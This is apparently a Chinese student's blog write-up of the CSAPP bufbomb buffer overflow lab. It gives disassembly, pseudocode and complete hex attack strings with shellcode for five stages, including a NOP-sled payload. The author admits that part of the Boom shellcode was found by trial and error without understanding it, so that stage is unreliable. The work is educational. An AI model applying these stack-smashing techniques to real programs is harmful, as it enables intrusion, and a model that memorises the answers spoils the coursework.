实验要求 

*实验环境: linux 32位
*实验语言:AT&T汇编语言
*实验技能:linux常用命令;gdb调试器和objdump
*实验目的:加深对IA-32函数调用规则和栈帧结构的理解。
*实验原理:对目标程序实施缓冲区溢出攻击,通过造成缓冲区
溢出来破坏目标程序的栈帧结构,继而执行一些原来程序中没有的行为。

 

构造5个攻击字符串,对目标程序实施缓冲区溢出攻击。 5次攻击难度递增,分别为:

 

1.Smoke    (让目标程序调用smoke函数)
2.Fizz        (让目标程序使用特定参数调用Fizz函数)
3.Bang      (让目标程序调用Bang函数,并篡改全局变量)
4.Boom    (让目标程序返回test函数,但不返回1,而是返回cookie值)
5.Nitro      (让目标程序返回testn函数,但不返回1,而是返回cookie值)
注:需要调用的函数(smoke、fizz、bang)均在目标程序中存在

 

 实验所用

工具

*出色的AI大模型(linux常用命令、gdb调试器和objdump、栈帧结构,汇编语言等相关知识不懂就问)

 

*linux常用命令、gdb调试器和objdump(这个实验不用不行了,因为涉及到栈帧的动态变化, 设置断点查看ebx,ebp,esp等寄存器的值等问题。反正我是一边问AI一边使用的)

 

*IDA(我是通过阅读生成的伪代码来更方便地大致理解各个函数的功能,还有就是代替使用objdump来查看反汇编代码)

 

 * Online Assembler and Disassembler(在线汇编器和反汇编器,能实现机器码与汇编语言的相互转换。虽然攻击字符串是由机器码组成的,但为了方便理解和修改,最好先用汇编语言写成,再翻译为机器码)

 

*Windows系统自带的计算器(程序员模式可以进行十六进制数间的运算,返回的结果是补码。因为 如果需要调用call、jmp指令,必须先计算相对地址才能写出相应的机器码)

 

资料

*实验课老师或助教提供的PPT(每次实验都会提供对应的PPT,且里面的信息非常重要,相信各位早已在好好利用了。我之所以在这个实验里单独提出来,是因为该实验涉及到了栈帧结构等硬核专业知识,我作为从零开始的新手,不 仔细研究例题的解答过程和剩余题目的解答提示根本就无从下手)

 

* 2015 CMU 15-213 CSAPP 深入理解计算机系统 课程视频对汇编语言要有基本的理解,要看得懂简单的反汇编代码,甚至还要自己写简单的汇编语言代码.......在前言里推荐过的这个课程对应章节的视频应该能帮上忙) 

 

* 缓冲区溢出分析-基础篇(看完这个视频后我对栈帧结构及其动态变化,还有如何编写shellcode都有了一个基本认知。建议认真观看与实验相关的前三集,可以多看几遍)

 

* 内存错误:0x06 保护机制 (本视频为一个系列课程中的其中一章,发布这一视频的UP主也搬运了其他章节,各位可根据自身需求选择观看。尽管其内容可能并非直接关联实验操作,但本人认为它能够提供更多与实验相关的背景知识)

 

 实验思考与结果    

我开始实验前通过研究PPT中的的内容与阅读IDA生成的伪代码, 大致理解了程序bufbomb中各主要函数的功能以及函数之间的调用关系
 

Smoke

具体解答过程敬请参考PPT的内容,在此我就不班门弄斧了。个人建议最好还是要理解过程。
 

攻击字符串需要把smoke函数的地址写入返回地址的位置,当从getbuf函数返回时,就会调用smoke函数。又因为

/*getbuf函数的伪代码*/
int getbuf()
{
  char v1[36]; // [esp+0h] [ebp-28h] BYREF

  Gets(v1);
  return 1;
}
/*这是getbuf函数调用Gets函数的部分,攻击字符串需要0x30字节长
应该与“lea edx,[ebp+var_28]”有关*/
 var_28= byte ptr -28h
.text:08049F53 05 AD 40 00 00    add   eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049F58 83 EC 0C          sub   esp, 0Ch
.text:08049F5B 8D 55 D8          lea   edx, [ebp+var_28]
.text:08049F5E 52                push  edx
.text:08049F5F 89 C3             mov   ebx, eax
.text:08049F61 E8 87 F9 FF FF    call  Gets

所以攻击字符串需要0x30字节长,最后四个字节存放smoke函数的起始地址:

/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
d6 95 04 08/*smoke函数的起始地址*/

 

Fizz

同样具体解答过程敬请参考PPT,还是建议要理解。 
 
返回地址的处理和smoke攻击相同。又因为
/*fizz函数的伪代码*/
void __cdecl __noreturn fizz(int a1)
{
  if ( a1 == cookie )
  {
    printf("Fizz!: You called fizz(0x%x)\n", a1);
    validate(1u);
  }
  else
  {
    printf("Misfire: You called fizz(0x%x)\n", a1);
  }
  exit(0);
/*这是fizz函数执行“if(a1==cookie)”的部分,
cookie值放在返回地址再隔四个字节的地方
应该与“edx, [ebp+arg_0]”有关*/
arg_0= dword ptr  8
.text:08049625 81 C3 DB 49 00 00   add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:0804962B 8B 55 08            mov     edx, [ebp+arg_0]
.text:0804962E 8B 83 F4 10 00 00   mov     eax, ds:(cookie - 804E000h)[ebx]
.text:08049634 39 C2               cmp     edx, eax
.text:08049636 75 24               jnz     short loc_804965C

所以cookie值应该放在返回地址再隔四个字节的地方

/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00
00 00 00 00
15 96 04 08/*fizz函数的起始地址*/
00 00 00 00
** ** ** ** /*cookie值*/

 

 Bang 

                因为

/*bang函数的伪代码。显然,根据“global_value == cookie”、
“printf("Bang!: You set global_value to 0x%x\n", global_value);”等
可知变量global_value就是我们的目标*/
void __noreturn bang()
{
  if ( global_value == cookie )
  {
    printf("Bang!: You set global_value to 0x%x\n", global_value);
    validate(2u);
  }
  else
  {
    printf("Misfire: global_value = 0x%x\n", global_value);
  }
  exit(0);
}
.bss:0804F0FC              public global_value
.bss:0804F0FC ?? ?? ?? ??  global_value dd ?   ; DATA XREF: bang+16↑r
.bss:0804F0FC                                  ; bang+28↑r
.bss:0804F0FC                                  ; bang:loc_80496CB↑r

所以通过执行“mov [0x0804F0FC],0x********”来给变量 global_value赋值(********代表cookie值)。

恶意代码之前先用“00 00 00……”填充,返回地址修改为“0x55683d48”来执行恶意代码。在成功赋值后使用“mov eax,0804967b ”和“call eax”来跳转执行bang函数

观看了​​​​​​缓冲区溢出分析-基础篇后,在AI和Online Assembler and Disassembler的帮助下,我才写出了攻击字符串。而且前两题的经验也很有帮助。

/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
48 3d 68 55/*shellcode的起始地址*/
/* shellcode:
mov [0x0804F0FC],0x********
mov eax,0804967b
call eax */
C7 04 25 FC
F0 04 08 **
** ** ** B8
7B 96 04 08
FF D0 
 

 Boom 

/*test函数的伪代码*/
int test()
{
  int v1; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  v1 = uniqueval();
  v2 = getbuf();
  if ( uniqueval() != v1 )
    return puts("Sabotaged!: the stack has been corrupted");
  if ( v2 != cookie )
    return printf("Dud: getbuf returned 0x%x\n", v2);
  printf("Boom!: getbuf returned 0x%x\n", v2);
  return validate(3u);
}

因为要让目标程序返回到test函数继续执行,所以父函数ebp的值不能改,仍是“0x55683d60”。我自己粗浅的理解是寄存器ebp储存了栈底的位置,随意修改的话即使能够执行test函数内部的指令,但退出test函数时会发生异常,使程序无法正常运行。

至于为什么“返回地址要改为‘0x55683d45’来执行shellcode”并且“在shellcode开头写入 ‘0x5cb0f4fc’  和 ‘nop’ 才能将printf函数的参数v2的值改为cookie”,我并不清楚具体原因。原本我将返回地址也改成了0x55683d48 ” ,而在shellcode开头写入“b8 ** ** ** **” (mov eax, 0x********),但输出的cookie值并不正确。之后我发现输出的数恰好是“******b8”,于是我就开始不断修改返回地址和shellcode的开头,最后就变成了现在这样。虽然之后知道了正确的做法,但因为偷懒就没改了,毕竟输出的结果是对的。

然后需要“mov ebx,0x804e000”这一步是因为通过gdb调试器,可以发现正常情况下,当程序返回到test函数继续执行时,ebx的值一直是0x804e000。但如果先执行了shellcode再返回test函数,ebx的值就会被改变,程序就会异常中断。所以需要“mov ebx, 0x804e000”来保证字符串“Boom!: getbuf returned 0x********\n”正常输出。

最后用“push 0x08049747”和“ret”跳转执行printf函数,因为当程序执行完“printf("Boom!: getbuf returned 0x%x\n", v2);”后,它会自动执行“return validate(3u);”。这样程序就可以正常结束了。

/*这是test函数执行“printf("Boom!: getbuf returned 0x%x\n", v2);”的部分,
在shellcode开头写入“0x5cb0f4fc  nop”可能与printf函数的传参过程有关*/
var_C= dword ptr -0Ch
.text:08049741 83 EC 08             sub  esp, 8
.text:08049744 FF 75 F4            push  [ebp+var_C]
.text:08049747 8D 83 D1 E0 FF FF   lea   eax, (aBoomGetbufRetu - 804E000h)[ebx] 
; "Boom!: getbuf returned 0x%x\n"
.text:0804974D 50                  push  eax    ; format
.text:0804974E E8 5D FB FF FF      call  _printf
/*小端排序*/
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
60 3D 68 55 /*父函数ebp的值保持不变*/
45 3D 68 55/*跳转执行shellcode*/
/* shellcode: 
0x******** nop
mov ebx,0x804e000
push 0x08049747
ret */
** ** ** ** 90
/* “********” 代表cookie值。0x90表示空操作指令nop,不执行任何操作,用来补位*/
bb 00 e0 04 08
68 47 97 04 08 /*返回test函数内部继续执行*/
c3

 

Nitro 

/*getbufn函数的伪代码*/
int getbufn()
{
  char v1[516]; // [esp+0h] [ebp-208h] BYREF

  Gets(v1);
  return 1;
}
/*这是getbufn函数调用Gets函数的部分,攻击字符串需要528字节长
应该与“lea edx,[ebp+var_208]”有关*/
var_208= byte ptr -208h
.text:08049F86 05 7A 40 00 00    add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08049F8B 83 EC 0C          sub     esp, 0Ch
.text:08049F8E 8D 95 F8 FD FF FF lea     edx, [ebp+var_208]
.text:08049F94 52                push    edx
.text:08049F95 89 C3             mov     ebx, eax
.text:08049F97 E8 51 F9 FF FF    call    Gets

解答这道题需要结合之前所有题目的解答经验与PPT所给的提示。

类比Smoke,攻击字符串需要528字节长。又因为使用了循环来模拟栈随机化,导致每次执行getbufn函数时esp的值都会改变,所以像Bang那样,Gets函数读取的部分用其他字符填充,然后修改返回地址,跳转执行放置在末尾的shellcode的做法就不合时宜了。根据提示,恰当的做法是把shellcode放在Gets函数读取部分的最后,前面用“90 90 90 90……”填充栈空间,只要返回地址能跳转到NOP sled中的任何一条NOP指令,shellcode最终都会被执行。至于如何确定返回地址的具体值,通过gdb调试器,我们可以发现每次循环,esp的值都始终围绕着一个值上下波动

又因为

/*testn函数的伪代码*/
int testn()
{
  int v1; // [esp+8h] [ebp-10h]
  int v2; // [esp+Ch] [ebp-Ch]

  v1 = uniqueval();
  v2 = getbufn();
  if ( uniqueval() != v1 )
    return puts("Sabotaged!: the stack has been corrupted");
  if ( v2 != cookie )
    return printf("Dud: getbufn returned 0x%x\n", v2);
  printf("KABOOM!: getbufn returned 0x%x\n", v2);
  return validate(4u);
}
/*这是testn函数执行“ printf("KABOOM!: getbufn returned 0x%x\n", v2);”的部分,
shellcode中的“mov dword ptr [0x55685fd4], 0x********”与“ push [ebp+var_C]”有关*/
var_C= dword ptr -0Ch
.text:080497D3 83 EC 08           sub     esp, 8
.text:080497D6 FF 75 F4           push    [ebp+var_C]
.text:080497D9 8D 83 0C E1 FF FF  lea     eax, (aKaboomGetbufnR - 804E000h)[ebx]
 ; "KABOOM!: getbufn returned 0x%x\n"
.text:080497DF 50                 push    eax                ; format
.text:080497E0 E8 CB FA FF FF     call    _printf

所以接下来的操作类似Boom。要让目标程序返回testn函数,因此父函数ebp的值不能修改,仍是“0x55685fe0”。返回地址则改为“0x55683c50”来跳转到NOP sled上去执行shellcode。“mov ebx,0x804e000”以及使用“push 0x80497d6” 和“ret”跳转执行printf函数的理由也是差不多的。但现在之所以使用“mov dword ptr [0x55685fd4], 0x********” 将printf函数的参数v2的值改为cookie,是因为这时我明白了“ call  _printf”之前的“push eax”和“ push  [ebp+var_C]”是在为printf函数传入参数。“push eax”传入的是字符串"KABOOM!: getbufn returned 0x%x\n",而“ push  [ebp+var_C]”传入的应该是v2的值。通过gdb调试器,可以发现每次执行到这里时ebp的值都是一样的,不受循环影响,那么使用“mov dword ptr [0x55685fd4], 0x********”就可以达到目的了。

/*小端排序*/
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
90 90 90 90
/* shellcode:
mov dword ptr [0x55685fd4], 0x********
mov  ebx, 0x804e000
push 0x80497d6
ret */
90 90 90 c7
05 d4 5f 68
55 ** ** **
** bb 00 e0
04 08 68 d6
97 04 08 c3  
e0 5f 68 55/*父函数ebp的值保持不变*/
50 3c 68 55/*跳转到NOP sled上以执行shellcode*/

 

 温馨提示

*善于运用人工智能技术,遇到不解之处可随时向AI寻求解答。

*《中华人民共和国网络安全法》已正式颁布并全面实施生效

 *由于未充分考虑评价标准、虚拟机系统等各种潜在影响因素,答案可能存在局限性,并不能确保在所有情况下都适用

*本人的论述极度缺乏专业性,对此,建议各位参阅其他博主撰写的深度文章以获取更为准确的知识。

*完全依赖个人的独立摸索并非总是最优策略,如果你能得到来自同学伙伴或学长学姐的指导与帮助,那么恭喜你。

 

 

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐